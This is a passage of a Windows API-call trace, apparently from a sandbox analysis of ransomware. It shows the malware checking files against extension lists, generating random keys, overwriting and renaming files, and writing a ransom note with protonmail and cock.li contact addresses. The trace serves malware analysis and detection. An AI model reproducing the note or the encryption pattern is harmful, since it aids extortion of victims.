	[0084.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0084.955] lstrlenW (lpString=".db") returned 3
	[0084.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0084.955] lstrlenW (lpString=".TXT") returned 4
	[0084.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0084.955] lstrlenW (lpString=".MDF") returned 4
	[0084.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0084.955] lstrlenW (lpString=".bdb") returned 4
	[0084.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0084.955] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0084.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.956] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0084.957] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.957] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0084.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x285cfe8
	[0084.957] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20494710164) returned 1
	[0084.957] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9c78da70, dwHighDateTime=0x1d60e1e)) 
	[0084.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0084.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0084.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0084.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39c9e0
	[0084.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39c9e0 | out: hHeap=0x300000) returned 1
	[0084.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3740
	[0084.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3740 | out: hHeap=0x300000) returned 1
	[0084.958] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0084.958] GetLastError () returned 0x0
	[0084.958] GetLastError () returned 0x0
	[0084.958] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0084.958] GetLastError () returned 0x0
	[0084.958] GetLastError () returned 0x0
	[0084.969] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffd2cb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.969] WriteFile (in: hFile=0x120, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x2d35, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x2d35, lpOverlapped=0x0) returned 1
	[0084.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0084.969] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.969] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.969] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.969] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.970] CloseHandle (hObject=0x120) returned 1
	[0085.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5a28
	[0085.091] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.~~~~")) returned 1
	[0085.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5a28 | out: hHeap=0x300000) returned 1
	[0085.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0085.218] GetLastError () returned 0x0
	[0085.218] RtlWakeConditionVariable () returned 0x365f70
	[0085.218] GetCurrentThreadId () returned 0xaf0
	[0085.218] GetCurrentThreadId () returned 0xaf0
	[0085.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abb58
	[0085.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac140 | out: hHeap=0x300000) returned 1
	[0085.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2b80 | out: hHeap=0x300000) returned 1
	[0085.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ac140
	[0085.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0085.286] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0085.286] WriteFile (in: hFile=0x11c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0085.287] CloseHandle (hObject=0x11c) returned 1
	[0085.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac140 | out: hHeap=0x300000) returned 1
	[0085.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abb58 | out: hHeap=0x300000) returned 1
	[0085.288] RtlWakeConditionVariable () returned 0x365f70
	[0085.288] GetCurrentThreadId () returned 0xaf0
	[0085.288] GetCurrentThreadId () returned 0xaf0
	[0085.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abb58
	[0085.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4070 | out: hHeap=0x300000) returned 1
	[0085.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d000 | out: hHeap=0x300000) returned 1
	[0085.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4070
	[0085.288] lstrlenW (lpString=".scr") returned 4
	[0085.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0085.288] lstrlenW (lpString=".cmd") returned 4
	[0085.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0085.288] lstrlenW (lpString=".dll") returned 4
	[0085.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0085.288] lstrlenW (lpString=".bat") returned 4
	[0085.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0085.288] lstrlenW (lpString=".cpl") returned 4
	[0085.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0085.288] lstrlenW (lpString=".sys") returned 4
	[0085.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0085.289] lstrlenW (lpString=".msc") returned 4
	[0085.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0085.289] lstrlenW (lpString=".com") returned 4
	[0085.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0085.289] lstrlenW (lpString=".lnk") returned 4
	[0085.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0085.289] lstrlenW (lpString=".msp") returned 4
	[0085.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0085.289] lstrlenW (lpString=".pif") returned 4
	[0085.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0085.289] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0085.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0085.289] lstrlenW (lpString=".sqb") returned 4
	[0085.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0085.290] lstrlenW (lpString=".ost") returned 4
	[0085.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0085.290] lstrlenW (lpString=".txt") returned 4
	[0085.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0085.290] lstrlenW (lpString=".mdt") returned 4
	[0085.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0085.290] lstrlenW (lpString=".BDB") returned 4
	[0085.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0085.290] lstrlenW (lpString=".eql") returned 4
	[0085.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0085.290] lstrlenW (lpString=".DBF") returned 4
	[0085.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0085.290] lstrlenW (lpString=".EQL") returned 4
	[0085.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0085.290] lstrlenW (lpString=".FDB") returned 4
	[0085.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0085.290] lstrlenW (lpString=".EDB") returned 4
	[0085.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0085.290] lstrlenW (lpString=".DACPAC") returned 7
	[0085.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0085.290] lstrlenW (lpString=".VHD") returned 4
	[0085.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0085.290] lstrlenW (lpString=".DBV") returned 4
	[0085.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0085.290] lstrlenW (lpString=".dacpac") returned 7
	[0085.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0085.291] lstrlenW (lpString=".sdf") returned 4
	[0085.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0085.291] lstrlenW (lpString=".accdb") returned 6
	[0085.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0085.291] lstrlenW (lpString=".DBX") returned 4
	[0085.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0085.291] lstrlenW (lpString=".MDT") returned 4
	[0085.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0085.291] lstrlenW (lpString=".SQB") returned 4
	[0085.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0085.291] lstrlenW (lpString=".vhd") returned 4
	[0085.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0085.291] lstrlenW (lpString=".bac") returned 4
	[0085.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0085.291] lstrlenW (lpString=".mdf") returned 4
	[0085.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0085.291] lstrlenW (lpString=".BAK") returned 4
	[0085.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0085.291] lstrlenW (lpString=".BAC") returned 4
	[0085.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0085.291] lstrlenW (lpString=".dbs") returned 4
	[0085.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0085.291] lstrlenW (lpString=".vhdx") returned 5
	[0085.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0085.292] lstrlenW (lpString=".NDF") returned 4
	[0085.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0085.292] lstrlenW (lpString=".dat") returned 4
	[0085.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0085.292] lstrlenW (lpString=".DBS") returned 4
	[0085.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0085.292] lstrlenW (lpString=".CKP") returned 4
	[0085.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0085.292] lstrlenW (lpString=".edb") returned 4
	[0085.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0085.292] lstrlenW (lpString=".PST") returned 4
	[0085.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0085.292] lstrlenW (lpString=".dbf") returned 4
	[0085.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0085.292] lstrlenW (lpString=".SQL") returned 4
	[0085.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0085.292] lstrlenW (lpString=".pst") returned 4
	[0085.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0085.292] lstrlenW (lpString=".dbv") returned 4
	[0085.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0085.292] lstrlenW (lpString=".SDF") returned 4
	[0085.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0085.292] lstrlenW (lpString=".dtxs") returned 5
	[0085.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0085.292] lstrlenW (lpString=".db3") returned 4
	[0085.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0085.293] lstrlenW (lpString=".OST") returned 4
	[0085.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0085.293] lstrlenW (lpString=".dbx") returned 4
	[0085.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0085.293] lstrlenW (lpString=".DB3") returned 4
	[0085.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0085.293] lstrlenW (lpString=".DAT") returned 4
	[0085.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0085.293] lstrlenW (lpString=".VHDX") returned 5
	[0085.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0085.293] lstrlenW (lpString=".ndf") returned 4
	[0085.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0085.293] lstrlenW (lpString=".DB") returned 3
	[0085.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0085.293] lstrlenW (lpString=".sql") returned 4
	[0085.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0085.293] lstrlenW (lpString=".MYD") returned 4
	[0085.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0085.293] lstrlenW (lpString=".DBT") returned 4
	[0085.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0085.293] lstrlenW (lpString=".ACCDB") returned 6
	[0085.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0085.294] lstrlenW (lpString=".fdb") returned 4
	[0085.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0085.294] lstrlenW (lpString=".bak") returned 4
	[0085.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0085.294] lstrlenW (lpString=".myd") returned 4
	[0085.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0085.294] lstrlenW (lpString=".DTXS") returned 5
	[0085.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0085.294] lstrlenW (lpString=".ckp") returned 4
	[0085.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0085.294] lstrlenW (lpString=".dbt") returned 4
	[0085.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0085.294] lstrlenW (lpString=".db") returned 3
	[0085.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0085.294] lstrlenW (lpString=".TXT") returned 4
	[0085.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0085.294] lstrlenW (lpString=".MDF") returned 4
	[0085.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0085.294] lstrlenW (lpString=".bdb") returned 4
	[0085.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0085.294] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0085.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.294] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0085.296] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.296] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
